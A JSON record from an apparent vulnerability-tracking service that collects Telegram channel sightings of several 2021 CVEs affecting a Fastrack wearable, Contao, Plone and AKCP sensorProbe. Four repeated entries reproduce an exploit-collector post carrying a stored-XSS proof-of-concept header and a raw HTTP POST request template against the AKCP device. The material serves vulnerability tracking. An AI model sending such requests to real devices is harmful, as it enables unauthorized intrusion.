{"vulnerability": "CVE-2021-3595", "sightings": [{"uuid": "41ff4060-ea6a-4f37-9719-b941ece9292f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35954", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11695", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2021-35954\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: fastrack Reflex 2.0 W307S_REFLEX_v90.89 Activity Tracker allows physically proximate attackers to dump the firmware, flash custom malicious firmware, and brick the device via the Serial Wire Debug (SWD) feature.\n\ud83d\udccf Published: 2022-12-26T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-14T18:29:00.391Z\n\ud83d\udd17 References:\n1. https://www.fastrack.in/shop/watch-smart-wearables-reflex-2\n2. https://payatu.com/advisory/dumping-and-re-flashing-firmware-fastrack-reflex", "creation_timestamp": "2025-04-14T18:54:31.000000Z"}, {"uuid": "7cd21c98-aebf-40db-862d-bc71b95f6b7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35953", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/11694", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2021-35953\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: fastrack Reflex 2.0 W307S_REFLEX_v90.89 Activity Tracker allows a Remote attacker to cause a Denial of Service (device outage) via crafted choices of the last three bytes of a characteristic value.\n\ud83d\udccf Published: 2022-12-26T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-14T18:29:40.126Z\n\ud83d\udd17 References:\n1. https://www.fastrack.in/shop/watch-smart-wearables-reflex-2\n2. https://payatu.com/advisory/device-crash-fastrack-reflex-two-activity-tracker", "creation_timestamp": "2025-04-14T18:54:30.000000Z"}, {"uuid": "5e82d309-89aa-442b-8c31-620c57a9b306", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35952", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/11693", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2021-35952\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: fastrack Reflex 2.0 W307S_REFLEX_v90.89 Activity Tracker allows a Remote attacker to change the time, date, and month via Bluetooth LE Characteristics on handle 0x0017.\n\ud83d\udccf Published: 2022-12-26T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-14T18:30:06.545Z\n\ud83d\udd17 References:\n1. https://www.fastrack.in/shop/watch-smart-wearables-reflex-2\n2. https://payatu.com/advisory/lack-of-bluetooth-le-pairing-fastrack-reflex", "creation_timestamp": "2025-04-14T18:54:29.000000Z"}, {"uuid": "e412d2ba-c9da-4048-a0bc-95a896f1e34a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35951", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11692", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2021-35951\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: fastrack Reflex 2.0 W307S_REFLEX_v90.89 Activity Tracker allows an Unauthenticated Remote attacker to send a malicious firmware update via BLE and brick the device.\n\ud83d\udccf Published: 2022-12-26T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-14T18:30:26.765Z\n\ud83d\udd17 References:\n1. https://www.fastrack.in/shop/watch-smart-wearables-reflex-2\n2. https://payatu.com/advisory/fastrack-reflex-unauthenticated-firmware-update", "creation_timestamp": "2025-04-14T18:54:28.000000Z"}, {"uuid": "7a8a664b-e5f5-4b32-b880-53e356f5a857", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35955", "type": "seen", "source": "https://t.me/cibsecurity/27222", "content": "\u203c CVE-2021-35955 \u203c\n\nContao >=4.0.0 allows backend XSS via HTML attributes to an HTML field. Fixed in 4.4.56, 4.9.18, 4.11.7.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-12T18:39:42.000000Z"}, {"uuid": "a0ae5815-6006-4ca7-b0e6-e2e4073c6632", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35959", "type": "seen", "source": "https://t.me/cibsecurity/25807", "content": "\u203c CVE-2021-35959 \u203c\n\nIn Plone 5.0 through 5.2.4, Editors are vulnerable to XSS in the folder contents view, if a Contributor has created a folder with a SCRIPT tag in the description field.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-06-30T07:29:31.000000Z"}, {"uuid": "ded04998-b7bd-47ff-bea1-20a487693bd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35956", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/737", "content": "CVE-2021-35956 AKCP sensorProbe SPX476 XSS\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-35956_AKCP_sensorProbe_SPX476_XSS%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-09-21T04:42:19.000000Z"}, {"uuid": "3bb1cfee-78fa-47ca-8d8b-7b994959dfea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35956", "type": "seen", "source": "https://t.me/hacking_Attack/15123", "content": "Exploit Collector\nAKCP sensorProbe SPX476 Cross Site Scripting\n\nhttps://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png \nAKCP sensorProbe SPX476 suffers from multiple cross site scripting vulnerabilities.\n\nMD5 | fdb80ed4c9dc2db28ae6596c6da42519\n\nDownload\n# Exploit Title: AKCP sensorProbe SPX476 - 'Multiple' Cross-Site Scripting (XSS)\n# Date: 07-01-2021\n# Exploit Author: Tyler Butler\n# Vendor Homepage: https://www.akcp.com/\n# Software Link: https://www.akcp.com/support-center/customer-login/sensorprobe-series-firmware-download/\n# Advisory: https://tbutler.org/2021/06/28/cve-2021-35956\n# Version: < SP480-20210624\n# CVE: CVE-2021-35956\n\n# Description: Stored cross-site scripting (XSS) in the embedded webserver of AKCP sensorProbe before SP480-20210624 enables remote authenticated attackers to introduce arbitrary JavaScript via the Sensor Description, Email (from/to/cc), System Name, and System Location fields.\n1) Stored Cross-Site Scripting via System Settings \n\nPOST /system?time=32e004c941f912 HTTP/1.1\nHost: [target]\nContent-Length: 114\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://[target]\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: http://[target]/system?time=32e004c941f912\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\n_SA01=System+Namer&_SA02=RDC&_SA03=Name", "creation_timestamp": "2026-09-01T20:02:34.319232Z"}, {"uuid": "99b85e4b-fbb8-4516-9b4e-9cb2e19d4cc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35956", "type": "seen", "source": "https://t.me/hacking_Attack/15123", "content": "Exploit Collector\nAKCP sensorProbe SPX476 Cross Site Scripting\n\nhttps://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png \nAKCP sensorProbe SPX476 suffers from multiple cross site scripting vulnerabilities.\n\nMD5 | fdb80ed4c9dc2db28ae6596c6da42519\n\nDownload\n# Exploit Title: AKCP sensorProbe SPX476 - 'Multiple' Cross-Site Scripting (XSS)\n# Date: 07-01-2021\n# Exploit Author: Tyler Butler\n# Vendor Homepage: https://www.akcp.com/\n# Software Link: https://www.akcp.com/support-center/customer-login/sensorprobe-series-firmware-download/\n# Advisory: https://tbutler.org/2021/06/28/cve-2021-35956\n# Version: < SP480-20210624\n# CVE: CVE-2021-35956\n\n# Description: Stored cross-site scripting (XSS) in the embedded webserver of AKCP sensorProbe before SP480-20210624 enables remote authenticated attackers to introduce arbitrary JavaScript via the Sensor Description, Email (from/to/cc), System Name, and System Location fields.\n1) Stored Cross-Site Scripting via System Settings \n\nPOST /system?time=32e004c941f912 HTTP/1.1\nHost: [target]\nContent-Length: 114\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://[target]\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: http://[target]/system?time=32e004c941f912\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\n_SA01=System+Namer&_SA02=RDC&_SA03=Name", "creation_timestamp": "2026-09-02T01:03:09.008852Z"}, {"uuid": "b57cc2b6-ab76-4ac8-8914-4602ff94d689", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35956", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/15123", "content": "Exploit Collector\nAKCP sensorProbe SPX476 Cross Site Scripting\n\nhttps://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png \nAKCP sensorProbe SPX476 suffers from multiple cross site scripting vulnerabilities.\n\nMD5 | fdb80ed4c9dc2db28ae6596c6da42519\n\nDownload\n# Exploit Title: AKCP sensorProbe SPX476 - 'Multiple' Cross-Site Scripting (XSS)\n# Date: 07-01-2021\n# Exploit Author: Tyler Butler\n# Vendor Homepage: https://www.akcp.com/\n# Software Link: https://www.akcp.com/support-center/customer-login/sensorprobe-series-firmware-download/\n# Advisory: https://tbutler.org/2021/06/28/cve-2021-35956\n# Version: < SP480-20210624\n# CVE: CVE-2021-35956\n\n# Description: Stored cross-site scripting (XSS) in the embedded webserver of AKCP sensorProbe before SP480-20210624 enables remote authenticated attackers to introduce arbitrary JavaScript via the Sensor Description, Email (from/to/cc), System Name, and System Location fields.\n1) Stored Cross-Site Scripting via System Settings \n\nPOST /system?time=32e004c941f912 HTTP/1.1\nHost: [target]\nContent-Length: 114\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://[target]\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: http://[target]/system?time=32e004c941f912\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\n_SA01=System+Namer&_SA02=RDC&_SA03=Name", "creation_timestamp": "2026-09-08T01:00:04.270317Z"}, {"uuid": "2670306e-d6ae-4669-9448-f5e0832d2ca7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35956", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/15123", "content": "Exploit Collector\nAKCP sensorProbe SPX476 Cross Site Scripting\n\nhttps://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png \nAKCP sensorProbe SPX476 suffers from multiple cross site scripting vulnerabilities.\n\nMD5 | fdb80ed4c9dc2db28ae6596c6da42519\n\nDownload\n# Exploit Title: AKCP sensorProbe SPX476 - 'Multiple' Cross-Site Scripting (XSS)\n# Date: 07-01-2021\n# Exploit Author: Tyler Butler\n# Vendor Homepage: https://www.akcp.com/\n# Software Link: https://www.akcp.com/support-center/customer-login/sensorprobe-series-firmware-download/\n# Advisory: https://tbutler.org/2021/06/28/cve-2021-35956\n# Version: < SP480-20210624\n# CVE: CVE-2021-35956\n\n# Description: Stored cross-site scripting (XSS) in the embedded webserver of AKCP sensorProbe before SP480-20210624 enables remote authenticated attackers to introduce arbitrary JavaScript via the Sensor Description, Email (from/to/cc), System Name, and System Location fields.\n1) Stored Cross-Site Scripting via System Settings \n\nPOST /system?time=32e004c941f912 HTTP/1.1\nHost: [target]\nContent-Length: 114\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://[target]\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: http://[target]/system?time=32e004c941f912\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\n_SA01=System+Namer&_SA02=RDC&_SA03=Name", "creation_timestamp": "2026-09-09T00:00:47.981905Z"}]}